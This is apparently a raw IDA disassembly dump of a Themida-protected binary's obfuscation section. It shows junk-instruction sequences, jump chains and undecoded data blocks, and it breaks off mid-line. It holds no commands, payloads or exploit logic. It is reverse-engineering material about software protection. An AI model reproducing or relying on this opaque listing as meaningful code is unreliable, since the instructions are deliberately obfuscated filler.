500011Dh, 1A980468h, 0FF58C201h dd 815B2434h, 4C4h, 24143300h, 33241431h, 248B2414h, 0B60F6624h dd 5F6866C8h, 0C896609h, 349E924h, 0CC080001h, 592434FFh dd 0D6FE9h, 4C48100h, 33000000h, 0C31240Ch, 240C3324h dd 357DE95Ch, 0E9810001h, 68BC3DC5h, 0C181D929h, 68BC3DC5h dd 1022AE9h db 0 ; --------------------------------------------------------------------------- loc_560DE1: ; CODE XREF: Themida_:005641C0j pop ecx jmp loc_56DE94 ; --------------------------------------------------------------------------- loc_560DE7: ; CODE XREF: Themida_:0056381Fj mov eax, 57EC76A7h sub eax, 29DB4243h sub eax, ebp jmp loc_560A5F ; --------------------------------------------------------------------------- loc_560DF8: ; CODE XREF: Themida_:005695CAj add esp, 4 push ecx mov ecx, 513E79FBh add ecx, 1195E843h add edx, ecx pop ecx push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and eax, edx pop edx jmp loc_572A28 ; --------------------------------------------------------------------------- loc_560E29: ; CODE XREF: Themida_:00574709j pop ebp add esi, 4 xor esi, [esp] jmp loc_563E62 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 421Ah ; --------------------------------------------------------------------------- loc_560E40: ; CODE XREF: Themida_:005655A3j xor bl, al push 52AAh mov [esp], edx push 59C4471Dh pop edx add edx, 2BB05464h shr edx, 3 jmp loc_568C75 ; --------------------------------------------------------------------------- dw 0E953h dd 12E20h, 68B96866h, 10D79E9h db 0 ; --------------------------------------------------------------------------- loc_560E6D: ; CODE XREF: Themida_:00572F12j push esi mov esi, 5C711D79h or esi, 57865D78h jmp loc_5682F5 ; --------------------------------------------------------------------------- dw 0D0F7h dd 0D835D8F7h, 10CFF71h, 0E95D58C6h, 0F4D0h, 0FEDAE980h dd 56B652C1h, 0F6E0C680h, 42ADE9D6h db 2 dup(0) word_560EA2 dw 83ADh ; DATA XREF: Themida_:0055FE48o dd 1C8904ECh, 139EBB24h, 0D829049Ch, 0E9241C8Bh, 6B1Eh ; --------------------------------------------------------------------------- loc_560EB8: ; CODE XREF: Themida_:00566B27j mov ecx, 123A483Ch jmp loc_56D89C ; --------------------------------------------------------------------------- word_560EC2 dw 8B66h ; DATA XREF: Themida_:0055FD64o dd 1B682404h, 89000036h, 0FE9243Ch db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560ED3: ; CODE XREF: Themida_:00574735j pop esp mov [esp], edx mov dl, 0CAh sub bl, dl push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub bl, 0F7h sub bl, al push eax jmp loc_561A2B ; --------------------------------------------------------------------------- db 1 dd 37E95FFEh, 59000127h, 0E9241C87h, 80E6h, 5C242C87h dd 0BE243489h, 4, 4247401h, 2434FF5Eh, 8B2434FFh, 0A3E92414h dd 81000016h, 4C4h, 5B03E900h, 4B80000h, 1000000h, 2CE1E9C5h db 1, 0 ; --------------------------------------------------------------------------- loc_560F4A: ; CODE XREF: Themida_:00567894j pop ebp jmp loc_5709E4 ; --------------------------------------------------------------------------- a313S_ db '3<$1<$3<$\é.Ì',0 dw 8100h dd 4C6h, 0E6F1E900h, 69BA0000h, 514D3627h, 0B92B40B9h dd 4E1C152h, 8303E9C1h, 0C181FFE9h, 65C4D7C4h, 5759CA01h dd 958EE9h db 0 ; --------------------------------------------------------------------------- loc_560F8D: ; CODE XREF: Themida_:0056728Fj pop edi shl edx, 4 sub edx, 33577B90h jmp loc_56AA60 ; --------------------------------------------------------------------------- loc_560F9C: ; CODE XREF: Themida_:0056AA6Cj add esp, 4 shr eax, 0Ch xor eax, ecx push 3397h mov [esp], eax jmp loc_56F231 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0A6E90000h, 0B60000ABh, 0E9B2B5A7h, 19A2h ; --------------------------------------------------------------------------- loc_560FC8: ; CODE XREF: Themida_:00570D53j add ebp, 2916934h xor ebp, 4F3B18F2h add ebp, 74760D45h jmp loc_5653B8 ; --------------------------------------------------------------------------- db 89h dd 4BF243Ch, 81000000h, 4154EFEDh, 57FD293Bh, 0E883E9h dd 34875F00h, 24248B24h, 53240489h, 4EC81h, 34890000h dd 4815124h, 0D05E9B24h, 0EE815E75h, 75D05E9Bh, 9F3CE9h dd 87D3F700h, 3AE94EDEh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561027: ; CODE XREF: Themida_:00561E5Cj push ebx jmp loc_5731F2 ; --------------------------------------------------------------------------- loc_56102D: ; CODE XREF: Themida_:0056B043j push ebx jmp loc_5657AB ; --------------------------------------------------------------------------- loc_561033: ; CODE XREF: Themida_:00563351j pop eax add edi, ebp pop ebp xchg edi, [esp] pop esp jmp loc_56C553 ; --------------------------------------------------------------------------- dd 4C481h, 21660000h, 2434FFCAh, 4C48159h, 66000000h, 98B96651h dd 1904E938h, 0CF880000h, 83240C8Bh, 0BE904C4h db 0Bh, 1, 0 ; --------------------------------------------------------------------------- loc_56106B: ; CODE XREF: Themida_:005701BDj sub ebx, 1D9C607Eh add ebx, ecx add ebx, 1D9C607Eh jmp loc_563F44 ; --------------------------------------------------------------------------- loc_56107E: ; CODE XREF: Themida_:0056983Aj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ecx mov ecx, 0FFFFh mov esi, ecx push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_56A968 ; --------------------------------------------------------------------------- db 4, 1Dh, 0E9h dd 11CA6h, 4C4815Fh, 0C1000000h, 52E905E9h, 2C000142h dd 4D80028h, 67FDE928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5610CE: ; CODE XREF: Themida_:00572634j push ebx push esp pop ebx push edi mov edi, 561B5B60h shr edi, 3 shr edi, 1 shr edi, 6 push ebx mov ebx, 1D4E7F0Ah or edi, ebx pop ebx jmp loc_564FAC ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 4EC81h, 24890000h, 5B1EE924h, 0E7C10000h, 0FFEF8104h dd 0E915FB76h, 0E13Fh, 83242C8Bh, 0D70104C4h, 2EF815Ah dd 33000000h, 3C31243Ch, 0EC00E924h, 57590000h, 2BFh, 5FFB2900h dd 5C241C87h, 24148966h, 5E08950h, 4, 54F9BF57h, 0EFC14879h dd 937DE906h, 525B0000h, 0C8283DBAh, 213E907h, 0C890000h dd 80D4B124h, 0E4E95BC1h db 5, 1, 0 ; --------------------------------------------------------------------------- loc_561167: ; CODE XREF: Themida_:0056A86Fj pop ebp add esp, 4 jmp loc_571A18 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048F00h, 6624248Bh, 79E9F9F7h, 89000130h, 5E92404h dd 590000B0h, 8104C483h, 4C1h, 9675E900h, 8B560000h, 0C481241Ch dd 4, 8324348Bh, 0D80104C4h, 50241C8Bh, 405E089h, 56000000h dd 4BEh, 0A4B8E900h, 89570000h, 0CB25E9E7h, 0CD310000h dd 16E98159h, 0E914443Ah, 0C84Bh, 8324348Bh, 1C3304C4h dd 241C3124h, 25A5E9h, 4896600h, 0EDA9E924h, 815BFFFFh dd 3574EEEAh, 81FA016Ch, 3574EEC2h, 0B9515F6Ch, 4, 99BEA81h dd 0D1E91EFDh db 1Dh, 1, 0 ; --------------------------------------------------------------------------- loc_561217: ; CODE XREF: Themida_:0056B508j sub ecx, edi pop edi mov eax, ecx mov ecx, [esp] add esp, 4 sub ecx, 672F0506h add ecx, 3C5B5CF5h sub ecx, eax sub ecx, 3C5B5CF5h push edx jmp loc_571D6B ; --------------------------------------------------------------------------- db 51h dd 55092DB9h, 3189E969h db 1, 0 ; --------------------------------------------------------------------------- loc_56124A: ; CODE XREF: Themida_:005732C9j xchg eax, [esp] pop esp mov [esp], ebx jmp loc_56651E ; --------------------------------------------------------------------------- dw 3C8Bh dd 0E1895124h, 1909BF57h, 0DFF758B0h, 0F31EF81h, 0E7D14A69h dd 0EF81DFF7h, 46325070h, 0FFF7CAE9h, 24348BFFh, 76FDE9h dd 5BDF0100h, 2C781h, 89510000h, 4C181E1h, 0E9000000h dd 0ACB9h ; --------------------------------------------------------------------------- loc_561298: ; CODE XREF: Themida_:005712D3j pop esi inc ecx shr ecx, 7 shr ecx, 7 add ecx, 2BD36F6Bh xor edx, ecx jmp loc_572426 ; --------------------------------------------------------------------------- loc_5612AD: ; CODE XREF: Themida_:00566D79j xor edi, 1AE521A1h add eax, edi jmp loc_5737C1 ; --------------------------------------------------------------------------- loc_5612BA: ; CODE XREF: Themida_:005649B5j add ebp, eax mov eax, [esp] add esp, 4 push esi mov esi, 4C9605Ch add edi, esi pop esi sub edi, 123C2D57h add edi, ebp add edi, 123C2D57h sub edi, 4C9605Ch pop ebp add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add eax, 780803FBh mov ecx, [esp] push esi mov esi, esp jmp loc_574048 ; --------------------------------------------------------------------------- loc_561300: ; CODE XREF: Themida_:00562834j mov ebx, esp push esi mov esi, 4 add ebx, esi pop esi add ebx, 4 jmp loc_56BCA0 ; --------------------------------------------------------------------------- dw 0C483h dd 2EC8302h, 241C8966h, 5ECD68h, 24148900h, 88B9B151h dd 0B08DE9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561332: ; CODE XREF: Themida_:0057375Ej push eax push 4953h jmp loc_563066 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 356568h, 240C8900h, 0FFED0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_56134D: ; CODE XREF: Themida_:00573477j mov [esp], esi push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx push esp pop ecx push edi mov edi, 65502174h inc edi inc edi inc edi jmp loc_5724FC ; --------------------------------------------------------------------------- db 50h, 55h, 68h dd 63CB32C1h, 0E9242C8Bh, 10190h, 4A30F66h, 18E99C24h dd 89FFFFECh, 5F54243Ch, 52D968h, 242C8900h, 0A11519BDh dd 7E5C134h, 8C84F581h, 0C781508Ah, 7EC60229h, 0E951EF01h dd 0C686h, 0EE895658h, 5D5EF189h, 3093F181h, 0F1815DEBh dd 4A9C76E1h, 0C5FAE9h, 24148900h, 2BAh, 5AD60100h, 0D7168h dd 24348900h, 42474FFh, 8124348Bh, 4C4h, 24048F00h, 6624248Bh dd 9C2404FFh, 1F1EE9h, 24048100h, 4, 4C18159h, 57000000h dd 4BFh, 5FF90100h, 0E9E68956h, 0FFFFFB47h ; --------------------------------------------------------------------------- loc_561418: ; CODE XREF: Themida_:0056A0B3j push ebp jmp loc_5737EB ; --------------------------------------------------------------------------- dw 0FE89h dd 5F5EF189h, 3EC9E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56142A: ; CODE XREF: Themida_:00561F1Aj add esi, 5E923B80h jmp loc_566B2C ; --------------------------------------------------------------------------- loc_561435: ; CODE XREF: Themida_:0056AF2Dj add [esp+8], ebx pop ebx sub [esp+4], eax sub dword ptr [esp+4], 147E6C73h sub esp, 4 mov [esp], ebx push edi push 6FCD1673h mov edi, [esp] add esp, 4 jmp loc_56B235 ; --------------------------------------------------------------------------- dd 66DBF766h, 6604E3C1h, 31D5F381h, 933CE9h, 0A9BB00h dd 4CE90FFDh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56147B: ; CODE XREF: Themida_:00560C31j add eax, 4 push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] jmp loc_5617F8 ; --------------------------------------------------------------------------- dd 2434FF54h, 582434FFh, 50E18951h, 66616852h, 0F75A5DBFh dd 2C281DAh, 8162C67Fh, 8D9C7CEAh, 0CD6AE9C4h, 248B0000h dd 4C48124h, 0E9000000h, 0B841h, 436C68h, 242C8900h, 9F9DE9h dd 280F0400h, 0C5EEE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5614DA: ; CODE XREF: Themida_:0056B59Cj add ebx, 7D5E0DA3h push ebp mov ebp, 66B24CE7h xor ebx, ebp pop ebp jmp loc_564E1C ; --------------------------------------------------------------------------- dw 86B7h dd 4AE9CF00h, 8F000095h, 0B8502404h, 4, 4244401h, 0DFD4E958h dd 34890000h, 348B5424h, 496824h, 14890000h, 1151E924h dd 2C890000h, 2474FF24h, 242C8B04h, 8F04C483h, 248B2404h dd 0C8BE0F24h, 8904EC83h, 5F54243Ch, 2CC9E9h db 0 ; --------------------------------------------------------------------------- loc_561541: ; CODE XREF: Themida_:00574065j sub esp, 4 mov [esp], ecx mov ecx, 74C95DCBh sub ecx, 64245707h jmp loc_568011 ; --------------------------------------------------------------------------- db 89h dd 0E9502414h, 0FFFFEBF6h, 8126E958h, 0DA010000h, 4EA815Bh dd 87000000h, 248B2414h, 241C8924h, 0DCE95B54h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56157F: ; CODE XREF: Themida_:0056A481j sub ah, 0EFh jmp loc_57548D ; --------------------------------------------------------------------------- db 88h dd 19D1E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56158E: ; CODE XREF: Themida_:005657D1j mov esi, 0FB85D4F7h push ecx mov ecx, esi mov edi, ecx pop ecx pop esi add ebx, edi pop edi add eax, ebx jmp loc_56CE3A ; --------------------------------------------------------------------------- loc_5615A4: ; CODE XREF: Themida_:00569C43j xchg edx, [esp] mov esp, [esp] push 5B65h mov [esp], edx jmp loc_5700F3 ; --------------------------------------------------------------------------- db 83h dd 0EB8104C4h, 6B3E5282h, 0E957D329h, 0E885h, 4C681h, 0C6830000h dd 24348704h, 67F7815Ch, 6815B370h, 17F0h, 0B8240489h dd 190670CFh, 34FFC731h, 97FDE924h, 0F5810000h, 5A683AF2h dd 4246C81h, 16ED07E4h, 4246C01h, 4244481h, 16ED07E4h dd 24048B5Dh, 0E904C483h, 0FFFFF3E1h, 1343D968h, 0ABE95835h dd 4000006h, 24148B17h, 4C481h, 0D8000000h, 97B45053h dd 51E68852h, 0DC07E9h db 0 ; --------------------------------------------------------------------------- loc_56163D: ; CODE XREF: Themida_:005721C8j pop eax add ebp, 4 xchg ebp, [esp] jmp loc_56C910 ; --------------------------------------------------------------------------- dd 8B59CA88h, 0C4812404h, 4, 3508E9h, 6BF5700h, 4F7ED81Ch dd 6792E9h, 1C875A00h, 7DFE924h, 33680001h, 584CBB4Dh dd 4831910Dh, 0E9D0F778h, 0D5A3h, 43FA68h, 24048900h, 4B8h dd 8BC20100h, 0C4832404h, 486EE904h, 2C890000h, 2BD24h dd 0EE010000h, 7CB9E9h db 0 ; --------------------------------------------------------------------------- loc_5616AD: ; CODE XREF: Themida_:0056E709j xor edi, [esp] mov esp, [esp] push 397Fh jmp loc_56ABFA ; --------------------------------------------------------------------------- db 81h, 0C2h, 5Ch dd 81561B37h, 4C4D6CE2h, 0A5F28158h, 81463B12h, 0CE91E1C2h dd 0E9D72930h, 1172Fh, 4EE81h, 34870000h, 15A0E924h, 0D9290001h dd 0EE3EE95Bh, 815F0000h, 0A1E868EAh, 51CA8748h, 592414F7h dd 0B850CA87h, 0FFFFFFFFh, 4258C201h, 329FE281h, 0F5680F1Ch dd 8900000Bh, 0E953240Ch, 0D010h, 1F51D7BAh, 8AEA8133h dd 4A73FA2Bh, 8AE9DAF7h, 1000092h, 8B08247Ch, 0D1E9243Ch dd 3100005Fh, 887AE9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561746: ; CODE XREF: Themida_:00572AC1j mov [esp], edi mov eax, [esp] push edx push esp pop edx jmp loc_5619AF ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0F460h ; --------------------------------------------------------------------------- loc_56175C: ; CODE XREF: Themida_:00573FBBj add ebx, 4 jmp loc_574D8F ; --------------------------------------------------------------------------- db 81h dd 1910CAE5h, 11E9526Fh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561773: ; CODE XREF: Themida_:00567014j neg ecx jmp loc_572D1C ; --------------------------------------------------------------------------- loc_56177A: ; CODE XREF: Themida_:00567990j mov edx, 5EF860C2h jmp loc_570BD7 ; --------------------------------------------------------------------------- dword_561784 dd 79A168h, 0E2895200h, 4C281h, 0EA830000h, 24148704h ; DATA XREF: Themida_:0055FDD0o dd 4EC815Ch, 89000000h, 4832424h, 48F0424h, 4B95124h, 1000000h dd 5904244Ch, 8324048Fh, 0F6E904ECh db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5617BF: ; CODE XREF: Themida_:005743F6j pop esp rol byte ptr [esp], cl pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- db 81h, 0C7h, 9Eh dd 0E92E0F2Fh, 12710h ; --------------------------------------------------------------------------- loc_5617D4: ; CODE XREF: Themida_:0056FBE6j add edx, 4F381B7Dh pop edi jmp loc_567294 ; --------------------------------------------------------------------------- dd 814B450h, 6858E2h, 8900006Dh, 0D4B7241Ch, 0E94FB151h dd 2FDCh ; --------------------------------------------------------------------------- loc_5617F8: ; CODE XREF: Themida_:0056148Bj add esp, 4 xchg eax, [esp] jmp loc_56E8DE ; --------------------------------------------------------------------------- dw 7468h dd 0E9000014h, 4135h, 0F8BE565Ah, 2903FFF3h, 0D5015EF2h dd 5A2434FFh, 2A33E952h, 0EC830000h, 4896602h, 1C8B6624h dd 2C48324h, 91665866h, 0E9D1F766h, 603Eh, 27DDEB81h, 0EB813112h dd 54D950A5h, 0E950FB29h, 0A5Bh ; --------------------------------------------------------------------------- loc_561854: ; CODE XREF: Themida_:005716A1j mov ebx, 753D2399h xor edx, ebx pop ebx xor edx, eax push dword ptr [esp] pop eax push ebp push esp pop ebp add ebp, 4 push esi mov esi, 2FCC5691h sub esi, 21EE09F5h or esi, 1F290E8Bh xor esi, 1FFF4E9Bh add ebp, esi pop esi xchg ebp, [esp] pop esp jmp loc_572669 ; --------------------------------------------------------------------------- db 0BAh dd 203E7D94h, 1355BE56h, 77E9003Ch, 8100009Bh, 4ECh, 243C8900h dd 0FB3B1EBFh, 99FBE95Bh, 2D5D0000h, 37E73747h, 9E62E9h dd 0E6DDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5618C2: ; CODE XREF: Themida_:0056605Fj jmp loc_55FF9F ; --------------------------------------------------------------------------- db 8Bh dd 89532404h, 4BD55E3h, 1000000h, 0C3835DEBh, 241C3304h dd 33241C31h, 248B241Ch, 1C470924h, 0FF2434FFh, 31E92434h dd 0B9000120h, 41AB7105h, 0D9F7D9F7h, 8107E9C1h, 0CE3AB8E9h dd 0F5BE56DAh, 0E941364Fh, 107CAh, 33243C31h, 248B243Ch dd 2434FF24h, 8324048Bh, 5FE904C4h, 81000010h, 2682D3C1h dd 59CD313Dh, 10A1DE9h, 4C38100h, 81000000h, 2C3h, 16E95300h dd 8B00000Ch, 0C4812434h, 4, 4C681h, 0C6830000h, 24348704h dd 4C4815Ch, 0E9000000h, 0F27Ch, 5A66D300h, 18E368h, 24148900h dd 0A308E9h db 0 ; --------------------------------------------------------------------------- loc_561979: ; CODE XREF: Themida_:005619B5j sub esp, 4 mov [esp], ecx mov ecx, 4 add edx, ecx pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov edi, [esp] add esp, 4 push 7CE5h mov [esp], edx push 69C6h mov [esp], esi jmp loc_56C96D ; --------------------------------------------------------------------------- loc_5619AF: ; CODE XREF: Themida_:0056174Fj add edx, 4 jmp loc_561979 ; --------------------------------------------------------------------------- aZhdw db 'Zh„w',0 align 10h dd 83242C89h, 0E95404ECh, 27B9h, 4C481h, 8F0000h, 0FFE5C6E9h dd 19EF81FFh, 14276CEh, 4D685FF8h, 89000038h, 0B9E92404h db 3Bh, 2 dup(0) byte_5619EF db 66h ; DATA XREF: Themida_:0055FD68o dd 0E924248Bh, 0FAE3h, 0AEE95066h, 890000B4h, 0C7BD242Ch dd 0C10A9333h, 0EC8307EDh, 24348904h, 0E41D66BEh, 0DFCE962h dd 0D0890000h, 5DE8015Ah, 3170C381h, 0FDE97134h db 26h, 1, 0 ; --------------------------------------------------------------------------- loc_561A2B: ; CODE XREF: Themida_:00560EFEj push edx mov dl, 0Dh jmp loc_566E1F ; --------------------------------------------------------------------------- db 89h dd 0F5B3241Ch, 0E95BD888h, 0E036h, 1664E95Ch, 14890000h dd 35DBA24h, 0D6293A6Dh, 5624148Bh, 0C681E689h, 4, 4C681h dd 34870000h, 0A1E95C24h, 10000FBh, 0D6F75DEEh, 18A5F681h dd 0EE81FA26h, 78210541h, 8102EEC1h, 0DA1A8ACEh, 0CBB85065h dd 1677159h, 24048BC6h, 4C481h, 53E90000h, 100011Bh, 0F58158C5h dd 27FA6B51h, 0E95DEB89h, 0FFFFE4F3h, 241C895Ch, 6FE9E389h dd 5D00010Dh, 0E95AD331h, 9876h, 0E9525854h, 0E853h, 0C4D915B9h dd 59CE014Bh, 0E95EF721h, 0ED46h, 0C181E189h, 4, 4E981h dd 0C870000h, 0F9E95C24h, 2D000133h, 24217B3Ch, 81E4F2Dh dd 51D82949h, 81E4FB9h, 59C80149h, 97ABE9h, 94E58100h dd 87147F36h, 87D7F7FDh, 8AEEE9FDh, 0C8B0000h, 4C48324h dd 0E95BD988h, 92B0h, 8004C483h, 0C9E910C4h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_561B33: ; CODE XREF: Themida_:00567A55j push 40A0h mov [esp], edx mov edx, 34C17704h push ecx mov ecx, 139D4989h push edi push ebx mov ebx, 58D47706h mov edi, ebx pop ebx jmp loc_566078 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4832424h, 815D0424h, 4C5h, 0E9525600h, 319h dd 45B8CD81h, 0EDC114AFh, 0F9CD8102h, 815ED715h, 0AF68A3EDh dd 0E9EA3129h, 3676h, 0B6525B59h, 0E5F68014h, 0E9C6E680h dd 0F158h, 0E9240C31h, 4B40h, 2414895Ch, 0D199E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561BAE: ; CODE XREF: Themida_:0056C87Ej add edx, eax pop eax xor edx, 4B2472Fh mov ebp, edx pop edx add ebx, 3AD63844h jmp loc_56D554 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 8924248Bh, 4B82404h, 81000000h, 8E7AF4EDh, 9BED811Fh dd 8106BE44h, 346307C5h, 99DFE935h, 0E9560000h, 0BA0Eh dd 4BBh, 0E9DE0100h, 0C283h, 286BD6BEh, 22EE8143h, 0F71ADC51h dd 8E6C1DEh, 52BB5346h, 4B45F239h, 6BA3E9h, 240C8B00h dd 2F57E9h, 0B2525300h, 0E9D788C0h, 8207h, 4C681h, 0A5E90000h dd 47FFFFFAh, 7B60BD55h, 0D5F706A4h, 104A4E9h, 596EBA00h dd 0D7294CA0h, 0FA01E9h, 6862B900h, 0E1C10C33h, 6BBE5604h dd 81672845h, 4699CE6h, 0A9EE8163h, 81097E55h, 0B76D43F6h dd 5EF1299Ah, 6859C801h, 0A6Ah, 0BF243C89h, 2, 0C8396105h dd 56F8016Dh, 0B03255BEh, 81DEF733h, 87F4CAF6h, 4EC81A1h dd 89000000h, 30B9240Ch, 0E9476B4Bh, 20E5h, 280DC180h dd 0A40459C8h, 0A42CF000h, 0F7E94D04h db 0FCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561CBF: ; CODE XREF: Themida_:0056989Fj push edx push 3D53h mov [esp], eax pop edx jmp loc_5707E2 ; --------------------------------------------------------------------------- aQsl db 'QéL#',0 align 4 dd 0C256272Dh, 5D82954h, 54C25627h, 0D9214305h, 51BA5215h dd 0C178042Ch, 0CA8105EAh, 1526116Ch, 3DC2F281h, 672D5DF4h dd 1281668h, 21BF57D0h, 0C14AB117h, 0E7C107E7h, 47EF8102h dd 8131544Ch, 0AA23B6EFh, 0A3CF8155h, 81332D63h, 198B3CEFh dd 5FF801D3h, 1C48055Ah, 80E9105Dh, 8100006Fh, 4C5h, 553EE900h dd 0D580000h, 0E56545Dh, 76745935h, 0E9C5015Eh, 0FA09h ; --------------------------------------------------------------------------- loc_561D50: ; CODE XREF: Themida_:0056F93Aj neg edi push ebp mov ebp, 13602238h add edi, 412C404Ch sub edi, ebp sub edi, 412C404Ch jmp loc_570DCB ; --------------------------------------------------------------------------- loc_561D6B: ; CODE XREF: Themida_:00569225j push 1E42h mov [esp], edi mov edi, esp push 6C3Ch jmp loc_5674FE ; --------------------------------------------------------------------------- dd offset dword_504044+324h align 4 dd 2A74E9h, 2DF80100h, 8EB5816h, 0FFF4C1E9h, 58C289FFh dd 0B42E9h, 65CD8100h, 0C137766Bh, 0C58107EDh, 7C1700DBh dd 0FFE959E9h, 243C87FFh, 24148B5Ch, 8904EC83h, 32E9242Ch dd 56000039h, 612BA8BEh, 7ECE816Ah, 817ADC70h, 0E3C873F6h dd 0E9F289F7h, 12E8Bh ; --------------------------------------------------------------------------- loc_561DDC: ; CODE XREF: Themida_:0056FAB4j push edx mov edx, 8A16AE3h add edx, 9793F9BCh mov ebx, edx pop edx jmp loc_56F8C9 ; --------------------------------------------------------------------------- dd 222968h, 24148900h, 0CE6CE9h db 0 ; --------------------------------------------------------------------------- loc_561DFD: ; CODE XREF: Themida_:00572291j add esp, 4 add eax, ecx pop ecx sub eax, 4 push 1F9Ch mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], eax push esp pop eax add eax, 4 push edi mov edi, 193A2EA8h jmp loc_572750 ; --------------------------------------------------------------------------- db 83h dd 0E78104C4h, 3E0229B3h, 10A27E9h db 0 ; --------------------------------------------------------------------------- loc_561E3D: ; CODE XREF: Themida_:0057525Cj and ecx, esi jmp loc_5659B8 ; --------------------------------------------------------------------------- loc_561E44: ; CODE XREF: Themida_:0056F923j add eax, edi pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] pop esi push ebx sub esp, 4 mov [esp], edi pop ebx jmp loc_561027 ; --------------------------------------------------------------------------- aBakkufsr5 db 'íKkufé5',0 align 4 loc_561E6C: ; CODE XREF: Themida_:0056623Fj mov [esp], ebp jmp loc_5751D7 ; --------------------------------------------------------------------------- dd 8B241C33h, 0F0892424h, 0D4C1E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561E82: ; CODE XREF: Themida_:0057333Dj pop esi xchg eax, esi jmp loc_571BB1 ; --------------------------------------------------------------------------- db 0BAh, 12h, 5 dd 0C142480Fh, 0DAF707E2h, 0EA81DAF7h, 782897Ch, 15AD689h dd 2C875EF5h, 0BF575C24h, 12B1255Ch, 2443B850h, 0C709446Eh dd 10F4E958h, 0F0290001h, 5E2434FFh, 5304C483h, 7F77BE56h dd 0EEC1470Ah, 0BD554607h, 33B1731Dh, 11967E9h, 5AD13100h dd 4720F181h, 0F987739Eh, 0F987D7F7h, 9FF6C181h, 13E9C0A2h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_561EF3: ; CODE XREF: Themida_:00566AABj push dword ptr [esp+4] pop edx jmp loc_565502 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 36AE9h db 0 byte_561F05 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055FEA4o db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 71A570B9h neg esi add esi, 1313353Dh jmp loc_56142A ; --------------------------------------------------------------------------- db 81h dd 0E9010BF5h, 0EE295E30h, 0E9242C8Bh, 4FCEh, 42474FFh dd 0A171E958h, 348B0000h, 4C48124h, 31000000h, 0E055E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F4A: ; CODE XREF: Themida_:00571592j pop esi mov ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push 6FD5h mov [esp], ecx mov ecx, esp push ebp push ecx mov ecx, 54F0CE2h mov ebp, 54F0CE6h xor ebp, ecx pop ecx add ecx, ebp pop ebp push esi push 4 mov esi, [esp] add esp, 4 add ecx, esi jmp loc_569E4B ; --------------------------------------------------------------------------- dd 0E904C483h, 0AD13h ; --------------------------------------------------------------------------- loc_561FA4: ; CODE XREF: Themida_:00566975j mov eax, edx pop edx add dword ptr [esp+4], 2D1D6AF0h jmp loc_57275F ; --------------------------------------------------------------------------- dd 4C481h, 5C040000h, 0D800E02Ch, 8079B551h, 0E80067C5h dd 44BE6859h, 0E4E90000h, 8B0000F7h, 0C4832414h, 74FF5704h dd 34FF0424h, 0C4835F24h, 24048F04h, 0E924248Bh, 6B80h ; --------------------------------------------------------------------------- loc_561FF0: ; CODE XREF: Themida_:005679EBj inc edx not edx sub edx, 0B3C0D47Fh add edi, edx mov edx, [esp] add esp, 4 push ebp jmp loc_56E4A6 ; --------------------------------------------------------------------------- db 89h dd 74FF240Ch, 8F590424h, 0F8E92404h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_562017: ; CODE XREF: Themida_:00573C26j add ebp, esi pop esi sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_560514 ; --------------------------------------------------------------------------- loc_56202E: ; CODE XREF: Themida_:005750D9j push eax mov eax, 3F877D40h sub eax, 7DE70520h xor eax, 0DC50B9Fh jmp loc_56CB55 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 81000000h, 4C1h, 74FF5100h, 8F590424h, 0E95C2404h dd 104B2h ; --------------------------------------------------------------------------- loc_562060: ; CODE XREF: Themida_:00572C5Bj add ebp, 4 xchg ebp, [esp] mov esp, [esp] add esp, 4 or ebx, ebx jnz loc_56BD4C push ecx sub esp, 4 mov [esp], esp sub esp, 4 mov [esp], edi jmp loc_566484 ; --------------------------------------------------------------------------- db 83h dd 26E904ECh db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_562097: ; CODE XREF: 